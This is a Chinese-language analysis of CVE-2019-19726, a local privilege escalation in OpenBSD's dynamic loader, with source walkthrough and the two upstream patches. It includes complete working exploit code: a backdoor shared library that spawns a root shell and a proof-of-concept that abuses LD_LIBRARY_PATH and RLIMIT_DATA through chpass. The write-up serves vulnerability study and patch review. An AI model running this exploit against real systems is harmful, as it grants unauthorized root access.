OpenBSD动态加载程序中的本地提权(CVE-2019-19726)

前言

这个漏洞在 OpenBSD 的动态链接库(ld.so)中,漏洞原因是 ld.so 在内存不足的情况下无法正常删除设置用户ID和设置组ID程序的LD_LIBRARY_PATH环境变量,攻击者可以通过设置用户 ID 的命令如 chpasspasswd进行权限提升。

该漏洞涉及 OpenBSD 小于 6.6 版本 (amd64/i386)。

环境搭建

本次复现使用OpenBSD 6.5 amd64

下载源码后切换到修补漏洞之前的版本:

$git clone https://github.com/openbsd/src.git 
$git checkout d2ce55dbd7845b33dafe44529e6ceb6b1c8ec6d5

漏洞分析

在运行设置用户 ID 的程序chpass之前需要先对环境变量进行设置:

  • 将环境变量LD_LIBRARY_PATH设置为当前工作目录,填入 ARG_MAX:号。

    ld.so 文档中对 LD_LIBRARY_PATH 描述如下:

    A colon separated list of directories, prepending the default search path for shared libraries.  This variable is ignored for set-user-ID and set-group-ID executables.
    

    ARG_MAX为参数和环境列表的最大字节数,大小如下:

    //sys/sys/syslimits.h
    #define	ARG_MAX		 (256 * 1024)	/* max bytes for an exec function */
    
  • 使用 setrlimit()函数将 RLIMIT_DATA 设置为 ARG_MAX * sizeof(char *),其中RLIMIT_DATA是进程数据段的最大大小(以字节为单位)。

chpassmain函数运行前,会先执行 ld.so_dl_boot()函数,该函数又调用 _dl_setup_env(), _dl_setup_env()部分实现如下:

//libexec/ld.so/loader.c
262 void
263 _dl_setup_env(const char *argv0, char **envp)
264 {
...
271         _dl_libpath = _dl_split_path(_dl_getenv("LD_LIBRARY_PATH", envp));
...
283         _dl_trust = !_dl_issetugid();
284         if (!_dl_trust) {       /* Zap paths if s[ug]id... */
285                 if (_dl_libpath) {
286                         _dl_free_path(_dl_libpath);
287                         _dl_libpath = NULL;
288                         _dl_unsetenv("LD_LIBRARY_PATH", envp);
289                 }

_dl_setup_env()的 271 行 ,_dl_getenv()获取设置的 LD_LIBRARY_PATH并返回一个指针给 _dl_split_path()

_dl_split_path()部分实现如下:

 //ibexec/ld.so/path.c
 23 char **
 24 _dl_split_path(const char *searchpath)
 25 {
 ..
 35         pp = searchpath;
 36         while (*pp) {
 37                 if (*pp == ':' || *pp == ';')
 38                         count++;
 39                 pp++;
 40         }
 ..
 45         retval = _dl_reallocarray(NULL, count, sizeof(*retval));
 46         if (retval == NULL)
 47                 return (NULL);

_dl_reallocarray()函数实现如下:

//libexec/ld.so/reallocarray.c
28 #define MUL_NO_OVERFLOW	(1UL << (sizeof(size_t) * 4))
29 
30 void *
31 _dl_reallocarray(void *optr, size_t nmemb, size_t size)
32 {
33    if ((nmemb >= MUL_NO_OVERFLOW || size >= MUL_NO_OVERFLOW) &&
34	      nmemb > 0 && SIZE_MAX / nmemb < size)
35		  _dl_die("reallocarray overflow");
36	  return _dl_realloc(optr, size * nmemb);
37 }

结合 _dl_reallocarray()函数实现可知,由于在一开始设置了一个较小的RLIMIT_DATA_dl_realloc()在分配时由于空间不足最后返回 NULL。最终使得 _dl_libpath值为NULL

又因为 chpass是设置用户 ID程序 ,使得_dl_trust=false,但因为 _dl_libpath==NULL,所以最终未调用_dl_unsetenv()删除环境变量LD_LIBRARY_PATH

进入chpass主函数后,主要操作为:

  • setuid(0)设置用户的 uid、euid 为0
  • pw_init()主要是禁用核心转储,从而防止将 passwd 数据库的内容转储到可读的文件中,以及禁用大多数信号来为passwd 更新做准备。这里将 RLIMIT_DATA值重新设置为 RLIM_INFINITY
  • pw_mkdb() vfork() 后调用execv()执行 /usr/sbin/pwd_mkdb。与execve()不同,execv()不会重置环境变量。
//lib/libutil/passwd.c
int
pw_mkdb(char *username, int flags)
{
	int pstat, ac;
	pid_t pid;
	char *av[8];
	struct stat sb;
...
	pid = vfork();
	if (pid == -1)
		return (-1);
	if (pid == 0) {
		if (pw_lck)
			execv(_PATH_PWD_MKDB, av);
		_exit(1);
	}
	pid = waitpid(pid, &pstat, 0);
	if (pid == -1 || !WIFEXITED(pstat) || WEXITSTATUS(pstat) != 0)
		return (-1);
	return (0);
}

chpass主函数如下:

//src/usr.bin/chpass/chpass.c
int
main(int argc, char *argv[])
{
	struct passwd *pw = NULL, *opw = NULL, lpw;
	int i, ch, pfd, tfd, dfd;
	char *tz, *arg = NULL;
	sigset_t fullset;

...

	/* Drop user's real uid and block all signals to avoid a DoS. */
--> setuid(0);
	sigfillset(&fullset);
	sigdelset(&fullset, SIGINT);
	sigprocmask(SIG_BLOCK, &fullset, NULL);

...

	/* Get the passwd lock file and open the passwd file for reading. */
--> pw_init();
	for (i = 1; (tfd = pw_lock(0)) == -1; i++) {
		if (i == 4)
			(void)fputs("Attempting to lock password file, "
			    "please wait or press ^C to abort", stderr);
		(void)signal(SIGINT, kbintr);
		if (i % 16 == 0)
			fputc('.', stderr);
		usleep(250000);
		(void)signal(SIGINT, SIG_IGN);
	}
	if (i >= 4)
		fputc('\n', stderr);
	pfd = open(_PATH_MASTERPASSWD, O_RDONLY|O_CLOEXEC, 0);
	if (pfd == -1)
		pw_error(_PATH_MASTERPASSWD, 1, 1);

	/* Copy the passwd file to the lock file, updating pw. */
	pw_copy(pfd, tfd, pw, opw);

	/* If username changed we need to rebuild the entire db. */
	arg = !strcmp(opw->pw_name, pw->pw_name) ? pw->pw_name : NULL;

	/* Now finish the passwd file update. */
--> if (pw_mkdb(arg, 0) == -1)
		pw_error(NULL, 0, 1);
	exit(0);
}

在 fork 出的 pwd_mkdb主函数执行前,还是会先执行 ld.so_dl_boot()函数,调用 _dl_setup_env()。由于是execv()并不重置环境变量,所以还是能获取设置的 LD_LIBRARY_PATH。而进入_dl_reallocarray()由于 RLIMIT_DATAchpass主函数中被重置,因此返回值不为NULL。由于 pwd_mkdb不是设置用户 ID程序 _dl_issetugid()返回 false ,使得 _dl_trust==true。从而跳过删除环境变量的操作保留了LD_LIBRARY_PATH的值。

最终 ld.so_dl_libpath中获取共享库路径,即当前工作目录,便可调用当前工作目录下的恶意动态链接库实现权限提升。获取共享库路径实现如下:

//libexec/ld.so/library_subr.c
elf_object_t *
_dl_load_shlib(const char *libname, elf_object_t *parent, int type, int flags)
{
	int try_any_minor, ignore_hints;
	struct sod sod, req_sod;
	elf_object_t *object = NULL;
	char *hint;

	try_any_minor = 0;
	ignore_hints = 0;

	...
again:
	/* No '/' in name. Scan the known places, LD_LIBRARY_PATH first.  */
	if (_dl_libpath != NULL) {
		hint = _dl_find_shlib(&req_sod, _dl_libpath, ignore_hints);
		if (hint != NULL)
			goto done;
	}

	...
}

利用过程

查看当前权限:

$ id
uid=1000(test) gid=1000(test) groups=1000(test)
$ cd /tmp

后门共享库代码:

$ cat > lib.c << "EOF"
#include <paths.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
    if (setuid(0) != 0) _exit(__LINE__);
    if (setgid(0) != 0) _exit(__LINE__);
    char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
    execve(argv[0], argv, NULL);
    _exit(__LINE__);
}
EOF

确定共享库版本并编译

$ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED
 0x0000000000000001 (NEEDED)             Shared library: [libutil.so.13.0]
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.95.0]

$ gcc -fpic -shared -s -o libutil.so.13.0 lib.c

poc代码:

$ cat > poc.c << "EOF"
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <unistd.h>

int
main(int argc, char * const * argv)
{
    #define LLP "LD_LIBRARY_PATH=."
    static char llp[ARG_MAX - 128];
    memset(llp, ':', sizeof(llp)-1);
    memcpy(llp, LLP, sizeof(LLP)-1);
    char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };

    #define DATA (ARG_MAX * sizeof(char *))
    const struct rlimit data = { DATA, DATA };
    if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);

    if (argc <= 1) _exit(__LINE__);
    argv += 1;
    execve(argv[0], argv, envp);
    _exit(__LINE__);
}
EOF

编译 poc:

$ gcc -s -o poc poc.c

最终效果:

$ ./poc /usr/bin/chpass
# id
uid=0(root) gid=0(wheel) groups=1000(test)

修复方式

截止2019-12-25日,对于该漏洞修补前后共有两次。

第一次是漏洞提交后对漏洞的紧急修补:

RCS file: /cvs/src/libexec/ld.so/loader.c,v
retrieving revision 1.187
diff -u -p -u -r1.187 loader.c
--- libexec/ld.so/loader.c	4 Oct 2019 17:42:16 -0000	1.187
+++ libexec/ld.so/loader.c	11 Dec 2019 17:07:27 -0000
@@ -262,13 +262,14 @@ _dl_dopreload(char *paths)
 void
 _dl_setup_env(const char *argv0, char **envp)
 {
+	char *libpath;
 	static char progname_storage[NAME_MAX+1] = "";
 
 	/*
 	 * Get paths to various things we are going to use.
 	 */
 	_dl_debug = _dl_getenv("LD_DEBUG", envp) != NULL;
-	_dl_libpath = _dl_split_path(_dl_getenv("LD_LIBRARY_PATH", envp));
+	libpath = _dl_getenv("LD_LIBRARY_PATH", envp);
 	_dl_preload = _dl_getenv("LD_PRELOAD", envp);
 	_dl_bindnow = _dl_getenv("LD_BIND_NOW", envp) != NULL;
 	_dl_traceld = _dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL;
@@ -282,9 +283,8 @@ _dl_setup_env(const char *argv0, char **
 	 */
 	_dl_trust = !_dl_issetugid();
 	if (!_dl_trust) {	/* Zap paths if s[ug]id... */
-		if (_dl_libpath) {
-			_dl_free_path(_dl_libpath);
-			_dl_libpath = NULL;
+		if (libpath) {
+			libpath = NULL;
 			_dl_unsetenv("LD_LIBRARY_PATH", envp);
 		}
 		if (_dl_preload) {
@@ -300,6 +300,8 @@ _dl_setup_env(const char *argv0, char **
 			_dl_unsetenv("LD_DEBUG", envp);
 		}
 	}
+	if (libpath)
+		_dl_libpath = _dl_split_path(libpath);
 	environ = envp;
 
 	_dl_trace_setup(envp);

可见修补方式是在对环境变量进行删除操作后再调用_dl_split_path(),从而保证能在内存不足的情况下删除设置用户ID和设置组ID程序的LD_LIBRARY_PATH环境变量。

第二次修补则是规定:在未确定环境变量可信前,对其删除而不进行查找。

git diff eee3c75f9abd5ea51e066dd0fe6b1efa470e4d0c..4b65c70c5e05dc7a3d5ef502a5b4dc938ecf3bc5 libexec/ld.so/loader.c
diff --git a/libexec/ld.so/loader.c b/libexec/ld.so/loader.c
index bf62da51bbe..f63825ff231 100644
--- a/libexec/ld.so/loader.c
+++ b/libexec/ld.so/loader.c
@@ -1,4 +1,4 @@
-/*     $OpenBSD: loader.c,v 1.189 2019/12/11 18:27:54 millert Exp $ */
+/*     $OpenBSD: loader.c,v 1.190 2019/12/17 03:16:07 guenther Exp $ */

 /*
  * Copyright (c) 1998 Per Fogelstrom, Opsycon AB
@@ -262,46 +262,35 @@ _dl_dopreload(char *paths)
 void
 _dl_setup_env(const char *argv0, char **envp)
 {
-       char *libpath;
        static char progname_storage[NAME_MAX+1] = "";

-       /*
-        * Get paths to various things we are going to use.
-        */
-       _dl_debug = _dl_getenv("LD_DEBUG", envp) != NULL;
-       libpath = _dl_getenv("LD_LIBRARY_PATH", envp);
-       _dl_preload = _dl_getenv("LD_PRELOAD", envp);
-       _dl_bindnow = _dl_getenv("LD_BIND_NOW", envp) != NULL;
-       _dl_traceld = _dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL;
-       _dl_tracefmt1 = _dl_getenv("LD_TRACE_LOADED_OBJECTS_FMT1", envp);
-       _dl_tracefmt2 = _dl_getenv("LD_TRACE_LOADED_OBJECTS_FMT2", envp);
-       _dl_traceprog = _dl_getenv("LD_TRACE_LOADED_OBJECTS_PROGNAME", envp);
-
        /*
         * Don't allow someone to change the search paths if he runs
         * a suid program without credentials high enough.
         */
        _dl_trust = !_dl_issetugid();
        if (!_dl_trust) {       /* Zap paths if s[ug]id... */
-               if (libpath) {
-                       libpath = NULL;
-                       _dl_unsetenv("LD_LIBRARY_PATH", envp);
-               }
-               if (_dl_preload) {
-                       _dl_preload = NULL;
-                       _dl_unsetenv("LD_PRELOAD", envp);
-               }
-               if (_dl_bindnow) {
-                       _dl_bindnow = 0;
-                       _dl_unsetenv("LD_BIND_NOW", envp);
-               }
-               if (_dl_debug) {
-                       _dl_debug = 0;
-                       _dl_unsetenv("LD_DEBUG", envp);
-               }
+               _dl_unsetenv("LD_DEBUG", envp);
+               _dl_unsetenv("LD_LIBRARY_PATH", envp);
+               _dl_unsetenv("LD_PRELOAD", envp);
+               _dl_unsetenv("LD_BIND_NOW", envp);
+       } else {
+               /*
+                * Get paths to various things we are going to use.
+                */
+               _dl_debug = _dl_getenv("LD_DEBUG", envp) != NULL;
+               _dl_libpath = _dl_split_path(_dl_getenv("LD_LIBRARY_PATH",
+                   envp));
+               _dl_preload = _dl_getenv("LD_PRELOAD", envp);
+               _dl_bindnow = _dl_getenv("LD_BIND_NOW", envp) != NULL;
        }
-       if (libpath)
-               _dl_libpath = _dl_split_path(libpath);
+
+       /* these are usable even in setugid processes */
+       _dl_traceld = _dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL;
+       _dl_tracefmt1 = _dl_getenv("LD_TRACE_LOADED_OBJECTS_FMT1", envp);
+       _dl_tracefmt2 = _dl_getenv("LD_TRACE_LOADED_OBJECTS_FMT2", envp);
+       _dl_traceprog = _dl_getenv("LD_TRACE_LOADED_OBJECTS_PROGNAME", envp);
+
        environ = envp;
        _dl_trace_setup(envp);

总结

本漏洞从提交到OpenBSD官方修复不到3小时,但对环境变量处理不当导致的提权问题仍需要开发者和安全研员的重视。由于其漏洞的隐蔽性,对该类漏洞的自动化挖掘仍有很长的路要走。

参考资料

[1] https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt
[2] https://github.com/openbsd/src
[3] https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig
[4] https://github.com/openbsd/src/commit/4b65c70c5e05dc7a3d5ef502a5b4dc938ecf3bc5

1 Like